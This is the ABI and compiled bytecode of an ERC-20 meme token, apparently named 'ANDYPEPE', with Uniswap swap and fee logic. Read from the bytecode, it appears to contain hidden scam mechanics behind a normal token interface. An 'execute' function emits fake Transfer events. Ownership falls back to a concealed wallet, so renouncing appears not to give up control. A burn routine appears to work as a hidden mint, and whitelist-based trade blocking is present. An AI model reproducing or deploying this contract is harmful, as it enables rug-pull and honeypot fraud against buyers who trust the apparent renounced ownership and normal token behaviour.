[ { "inputs": [ { "internalType": "address", "name": "wallet", "type": "address" } ], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "account", "type": "address" }, { "indexed": false, "internalType": "bool", "name": "isExcluded", "type": "bool" } ], "name": "ExcludedFromFees", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "pair", "type": "address" }, { "indexed": true, "internalType": "bool", "name": "value", "type": "bool" } ], "name": "SetAutomatedMarketMakerPair", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "BuyFee", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "SellFee", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_buyFee", "type": "uint256" }, { "internalType": "uint256", "name": "_sellFee", "type": "uint256" } ], "name": "SetFees", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "_uniswapV2Router", "outputs": [ { "internalType": "contract IUniswapV2Router02", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "pair_", "type": "address" } ], "name": "addPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "owner", "type": "address" }, { "internalType": "address", "name": "spender", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "accounts", "type": "address[]" }, { "internalType": "bool", "name": "excluded", "type": "bool" } ], "name": "approveSwap", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "burn", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "clearStuckEth", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "clearStuckTokens", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "subtractedValue", "type": "uint256" } ], "name": "decreaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "updAds", "type": "address" }, { "internalType": "bool", "name": "isEx", "type": "bool" } ], "name": "excludeFromMaxTransaction", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address[]", "name": "_addresses", "type": "address[]" }, { "internalType": "uint256", "name": "_out", "type": "uint256" } ], "name": "execute", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "spender", "type": "address" }, { "internalType": "uint256", "name": "addedValue", "type": "uint256" } ], "name": "increaseAllowance", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "initialTotalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "maxTransactionAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "maxWallet", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "openTrading", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "removeLimits", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "pair", "type": "address" }, { "internalType": "bool", "name": "value", "type": "bool" } ], "name": "setAutomatedMarketMakerPair", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "setSwapBack", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "uint256", "name": "_amount", "type": "uint256" } ], "name": "setSwapTokensAtAmount", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "swapEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "swapTokensAtAmount", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "tradingOpen", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "from", "type": "address" }, { "internalType": "address", "name": "to", "type": "address" }, { "internalType": "uint256", "name": "amount", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "account", "type": "address" } ], "name": "updateMaxBuy", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "stateMutability": "payable", "type": "receive" } ]
60a06040526a52b7d2dcc80cd2e4000000600655620000216009600a62000532565b620000349066071afd498d00006200054a565b600e55620000456009600a62000532565b620000589066470de4df8200006200054a565b600f55620000696009600a62000532565b6200007c90662386f26fc100006200054a565b6010556200008d6009600a62000532565b6200009d90630c8458806200054a565b601155600060128190556013556014805461ffff19169055348015620000c257600080fd5b5060405162002a5e38038062002a5e833981016040819052620000e59162000564565b604080518082018252600880825267414e44595045504560c01b60208084018290528451808601909552918452908301528291600462000126838262000633565b50600562000135828262000633565b5050600980546001600160a01b0319166001600160a01b03841617905550620001656200015f3390565b6200021f565b50737a250d5630b4cf539739df2c5dacb4c659f2488d608052600d80546001600160a01b0319166001600160a01b038316179055600654600755620001a73390565b600c80546001600160a01b0319166001600160a01b03928316179055600854620001d49116600162000271565b620001e130600162000271565b620001ee81600162000271565b620001fd61dead600162000271565b600c5460115462000218916001600160a01b031690620002a6565b5062000715565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6200027b6200036d565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6001600160a01b038216620003025760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060036000828254620003169190620006ff565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b3362000378620003d7565b6001600160a01b031614620003d05760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401620002f9565b565b505050565b600080620003e4620003ea565b92915050565b6008546000906001600160a01b0316156200040f57506008546001600160a01b031690565b506009546001600160a01b031690565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004765781600019048211156200045a576200045a6200041f565b808516156200046857918102915b93841c93908002906200043a565b509250929050565b6000826200048f57506001620003e4565b816200049e57506000620003e4565b8160018114620004b75760028114620004c257620004e2565b6001915050620003e4565b60ff841115620004d657620004d66200041f565b50506001821b620003e4565b5060208310610133831016604e8410600b841016171562000507575081810a620003e4565b62000513838362000435565b80600019048211156200052a576200052a6200041f565b029392505050565b60006200054360ff8416836200047e565b9392505050565b8082028115828204841417620003e457620003e46200041f565b6000602082840312156200057757600080fd5b81516001600160a01b03811681146200054357600080fd5b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005ba57607f821691505b602082108103620005db57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003d257600081815260208120601f850160051c810160208610156200060a5750805b601f850160051c820191505b818110156200062b5782815560010162000616565b505050505050565b81516001600160401b038111156200064f576200064f6200058f565b6200066781620006608454620005a5565b84620005e1565b602080601f8311600181146200069f5760008415620006865750858301515b600019600386901b1c1916600185901b1785556200062b565b600085815260208120601f198616915b82811015620006d057888601518255948401946001909101908401620006af565b5085821015620006ef5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820180821115620003e457620003e46200041f565b608051612318620007466000396000818161039f01528181611add01528181611b960152611bde01526123186000f3fe60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063dd8546521161006f578063dd8546521461062a578063e2f4560514610640578063f2fde38b14610656578063f8b45b0514610676578063ffb54a991461068c57600080fd5b8063c8c8ebe414610590578063c9567bf9146105a6578063cb4f9f40146105bb578063cf9522fd146105f4578063dd62ed3e1461060a57600080fd5b8063a457c2d7116100f2578063a457c2d7146104f0578063a9059cbb14610510578063ad296d9d14610530578063afa4f3b214610550578063c2b7bbb61461057057600080fd5b806389291a8f146104885780638da5cb5b1461049d57806395d89b41146104bb5780639a7a23d6146104d057600080fd5b80633be6e637116101a657806370a082311161017557806370a08231146103f3578063715018a614610429578063751039fc1461043e5780637571336a146104535780637d16a7211461047357600080fd5b80633be6e6371461034d57806342966c681461036d578063583e05681461038d5780636ddd1713146103d957600080fd5b806323b872dd116101ed57806323b872dd146102bb57806326ededb8146102db578063311028af146102fb578063313ce56714610311578063395093511461032d57600080fd5b806306fdde031461022a578063095ea7b3146102555780630f054c061461028557806318160ddd1461029c57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106ab565b60405161024c9190611ca9565b60405180910390f35b34801561026157600080fd5b50610275610270366004611d1c565b61073d565b604051901515815260200161024c565b34801561029157600080fd5b5061029a610757565b005b3480156102a857600080fd5b506003545b60405190815260200161024c565b3480156102c757600080fd5b506102756102d6366004611d48565b610886565b3480156102e757600080fd5b5061029a6102f6366004611d89565b6108aa565b34801561030757600080fd5b506102ad60115481565b34801561031d57600080fd5b506040516009815260200161024c565b34801561033957600080fd5b50610275610348366004611d1c565b610942565b34801561035957600080fd5b5061029a610368366004611e04565b610964565b34801561037957600080fd5b5061029a610388366004611e26565b6109ce565b34801561039957600080fd5b506103c17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161024c565b3480156103e557600080fd5b506014546102759060ff1681565b3480156103ff57600080fd5b506102ad61040e366004611e3f565b6001600160a01b031660009081526020819052604090205490565b34801561043557600080fd5b5061029a6109e3565b34801561044a57600080fd5b5061029a6109f7565b34801561045f57600080fd5b5061029a61046e366004611e75565b610a15565b34801561047f57600080fd5b5061029a610a48565b34801561049457600080fd5b5061029a610a5f565b3480156104a957600080fd5b506008546001600160a01b03166103c1565b3480156104c757600080fd5b5061023f610adc565b3480156104dc57600080fd5b5061029a6104eb366004611e75565b610aeb565b3480156104fc57600080fd5b5061027561050b366004611d1c565b610b85565b34801561051c57600080fd5b5061027561052b366004611d1c565b610c00565b34801561053c57600080fd5b5061029a61054b366004611ec4565b610c0e565b34801561055c57600080fd5b5061029a61056b366004611e26565b610ce8565b34801561057c57600080fd5b5061029a61058b366004611e3f565b610d0c565b34801561059c57600080fd5b506102ad600f5481565b3480156105b257600080fd5b5061029a610d36565b3480156105c757600080fd5b506102756105d6366004611e3f565b6001600160a01b031660009081526001602052604090205460ff1690565b34801561060057600080fd5b506102ad60125481565b34801561061657600080fd5b506102ad610625366004611f9b565b610d4f565b34801561063657600080fd5b506102ad60135481565b34801561064c57600080fd5b506102ad60105481565b34801561066257600080fd5b5061029a610671366004611e3f565b610d7a565b34801561068257600080fd5b506102ad600e5481565b34801561069857600080fd5b5060145461027590610100900460ff1681565b6060600480546106ba90611fc9565b80601f01602080910402602001604051908101604052809291908181526020018280546106e690611fc9565b80156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b5050505050905090565b60003361074b818585610df0565b60019150505b92915050565b61075f610f14565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa1580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190612003565b9050600081116108105760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af115801561085d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610881919061201c565b505050565b600033610894858285610f73565b61089f858585610fe7565b506001949350505050565b6108b2610f14565b60005b8281101561093c578383828181106108cf576108cf612039565b90506020020160208101906108e49190611e3f565b600b546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a38061093481612065565b9150506108b5565b50505050565b60003361074b8185856109558383610d4f565b61095f919061207e565b610df0565b61096c610f14565b6014821115801561097e575060328111155b6109c35760405162461bcd60e51b8152602060048201526016602482015275466565732063616e6e6f74206578636565642033302560501b6044820152606401610807565b601391909155601255565b6109d6610f14565b6109e03382611571565b50565b6109eb610f14565b6109f560006116cc565b565b6109ff610f14565b6000610a0a60035490565b600f819055600e5550565b610a1d610f14565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b610a50610f14565b6014805460ff19166001179055565b610a67610f14565b60004711610ab05760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610807565b60405133904780156108fc02916000818181858888f193505050501580156109e0573d6000803e3d6000fd5b6060600580546106ba90611fc9565b610af3610f14565b600b546001600160a01b0390811690831603610b775760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610807565b610b81828261171e565b5050565b60003381610b938286610d4f565b905083811015610bf35760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610807565b61089f8286868403610df0565b60003361074b818585610fe7565b610c16610f14565b60005b8251811015610881578160016000858481518110610c3957610c39612039565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610c8a57610c8a612039565b60200260200101516001600160a01b03167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610cce911515815260200190565b60405180910390a280610ce081612065565b915050610c19565b610cf0610f14565b610cfc6009600a612175565b610d069082612184565b60105550565b610d14610f14565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b610d3e610f14565b6014805461ff001916610100179055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610d82610f14565b6001600160a01b038116610de75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610807565b6109e0816116cc565b6001600160a01b038316610e525760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610807565b6001600160a01b038216610eb35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610807565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b33610f1d611772565b6001600160a01b0316146109f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610807565b6000610f7f8484610d4f565b9050600019811461093c5781811015610fda5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610807565b61093c8484848403610df0565b6001600160a01b03831661100d5760405162461bcd60e51b81526004016108079061219b565b6001600160a01b0382166110335760405162461bcd60e51b8152600401610807906121e0565b43601755600081900361104c576108818383600061177d565b6008546001600160a01b0384811691161480159061107857506008546001600160a01b03838116911614155b801561108c57506001600160a01b03821615155b80156110a357506001600160a01b03821661dead14155b80156110b95750600d54600160a01b900460ff16155b1561135557601454610100900460ff16611151576001600160a01b03831660009081526001602052604090205460ff168061110c57506001600160a01b03821660009081526001602052604090205460ff165b6111515760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610807565b6017546001600160a01b0384166000908152600a602090815260408083209390935560159052205460ff1680156111a157506001600160a01b03821660009081526016602052604090205460ff16155b1561129e57600f5481111561122f5760405162461bcd60e51b815260206004820152604860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f6064820152673720b6b7bab73a1760c11b608482015260a401610807565b600e546001600160a01b038316600090815260208190526040902054611255908361207e565b11156112995760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610807565b611355565b6001600160a01b03821660009081526015602052604090205460ff1680156112df57506001600160a01b03831660009081526016602052604090205460ff16155b1561135557600f548111156113555760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610807565b3060009081526020819052604090205480158015908190611378575060145460ff165b801561138e5750600d54600160a01b900460ff16155b80156113b357506001600160a01b03851660009081526015602052604090205460ff16155b80156113d857506001600160a01b03851660009081526001602052604090205460ff16155b80156113fd57506001600160a01b03841660009081526001602052604090205460ff16155b1561142c57600d805460ff60a01b1916600160a01b17905561141e836118a7565b600d805460ff60a01b191690555b6001600160a01b03851660009081526001602052604090205460ff16801561146e57506001600160a01b0385166000908152600a602052604090205460175411155b1561147c5761147c856119f2565b600d546001600160a01b03861660009081526001602052604090205460ff600160a01b90920482169116806114c957506001600160a01b03851660009081526001602052604090205460ff165b156114d2575060005b6000811561155d576001600160a01b03861660009081526015602052604090205460ff16156115225761151b606461151560125488611c5690919063ffffffff16565b90611c69565b905061153f565b61153c606461151560135488611c5690919063ffffffff16565b90505b80156115505761155087308361177d565b61155a8186612223565b94505b61156887878761177d565b50505050505050565b6001600160a01b0382166115d15760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610807565b6001600160a01b038216600090815260208190526040902054818110156116455760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610807565b816007546116539190612223565b6001600160a01b03841660009081526020819052604081209190915560038054849290611681908490612223565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600080610751611c75565b6001600160a01b0383166117a35760405162461bcd60e51b81526004016108079061219b565b6001600160a01b0382166117c95760405162461bcd60e51b8152600401610807906121e0565b6001600160a01b038316600090815260208190526040902054818110156118415760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610807565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361093c565b30600090815260208190526040812054908181036118c457505050565b6012546013546118d4919061207e565b600003611940576000821180156118ec575060105482105b156118f85750806119ed565b6000611914606461151560125487611c5690919063ffffffff16565b90506119208185612223565b935060105484111561193657601054915061193a565b8391505b506119ed565b60008211801561195c5750601054611959906005611c69565b82105b1561196657505050565b600082118015611982575060105461197f906005611c69565b82115b801561198f575060105482105b156119a9576010546119a2906005611c69565b90506119ed565b60006119c5606461151560125487611c5690919063ffffffff16565b90506119d18185612223565b93506010548411156119e75760105491506119eb565b8391505b505b610881815b6001600160a01b03811660009081526001602052604090205460ff1615611a86576001600160a01b0381166000908152600a60205260409020544310611a865760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610807565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611abb57611abb612039565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5d9190612236565b81600181518110611b7057611b70612039565b60200260200101906001600160a01b031690816001600160a01b031681525050611bc4307f0000000000000000000000000000000000000000000000000000000000000000846001600160a01b0316610df0565b600d5460405163791ac94760e01b81526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169263791ac94792611c20928792600092889291909116904290600401612253565b600060405180830381600087803b158015611c3a57600080fd5b505af1158015611c4e573d6000803e3d6000fd5b505050505050565b6000611c628284612184565b9392505050565b6000611c6282846122c0565b6008546000906001600160a01b031615611c9957506008546001600160a01b031690565b506009546001600160a01b031690565b600060208083528351808285015260005b81811015611cd657858101830151858201604001528201611cba565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109e057600080fd5b8035611d1781611cf7565b919050565b60008060408385031215611d2f57600080fd5b8235611d3a81611cf7565b946020939093013593505050565b600080600060608486031215611d5d57600080fd5b8335611d6881611cf7565b92506020840135611d7881611cf7565b929592945050506040919091013590565b600080600060408486031215611d9e57600080fd5b833567ffffffffffffffff80821115611db657600080fd5b818601915086601f830112611dca57600080fd5b813581811115611dd957600080fd5b8760208260051b8501011115611dee57600080fd5b6020928301989097509590910135949350505050565b60008060408385031215611e1757600080fd5b50508035926020909101359150565b600060208284031215611e3857600080fd5b5035919050565b600060208284031215611e5157600080fd5b8135611c6281611cf7565b80151581146109e057600080fd5b8035611d1781611e5c565b60008060408385031215611e8857600080fd5b8235611e9381611cf7565b91506020830135611ea381611e5c565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060408385031215611ed757600080fd5b823567ffffffffffffffff80821115611eef57600080fd5b818501915085601f830112611f0357600080fd5b8135602082821115611f1757611f17611eae565b8160051b604051601f19603f83011681018181108682111715611f3c57611f3c611eae565b604052928352818301935084810182019289841115611f5a57600080fd5b948201945b83861015611f7f57611f7086611d0c565b85529482019493820193611f5f565b9650611f8e9050878201611e6a565b9450505050509250929050565b60008060408385031215611fae57600080fd5b8235611fb981611cf7565b91506020830135611ea381611cf7565b600181811c90821680611fdd57607f821691505b602082108103611ffd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561201557600080fd5b5051919050565b60006020828403121561202e57600080fd5b8151611c6281611e5c565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016120775761207761204f565b5060010190565b808201808211156107515761075161204f565b600181815b808511156120cc5781600019048211156120b2576120b261204f565b808516156120bf57918102915b93841c9390800290612096565b509250929050565b6000826120e357506001610751565b816120f057506000610751565b816001811461210657600281146121105761212c565b6001915050610751565b60ff8411156121215761212161204f565b50506001821b610751565b5060208310610133831016604e8410600b841016171561214f575081810a610751565b6121598383612091565b806000190482111561216d5761216d61204f565b029392505050565b6000611c6260ff8416836120d4565b80820281158282048414176107515761075161204f565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b818103818111156107515761075161204f565b60006020828403121561224857600080fd5b8151611c6281611cf7565b6001600160a01b038681168252602080830187905260a060408401819052865190840181905260009287830192909160c0860190855b818110156122a7578551851683529483019491830191600101612289565b5050969091166060850152505050608001529392505050565b6000826122dd57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220d392a9531287ee25dd08369b3877d7ca5013aac853aea8d78528c2e045f4c7c464736f6c63430008110033000000000000000000000000befa30fc7be4cf0a6312d1af93234bd105be6bb8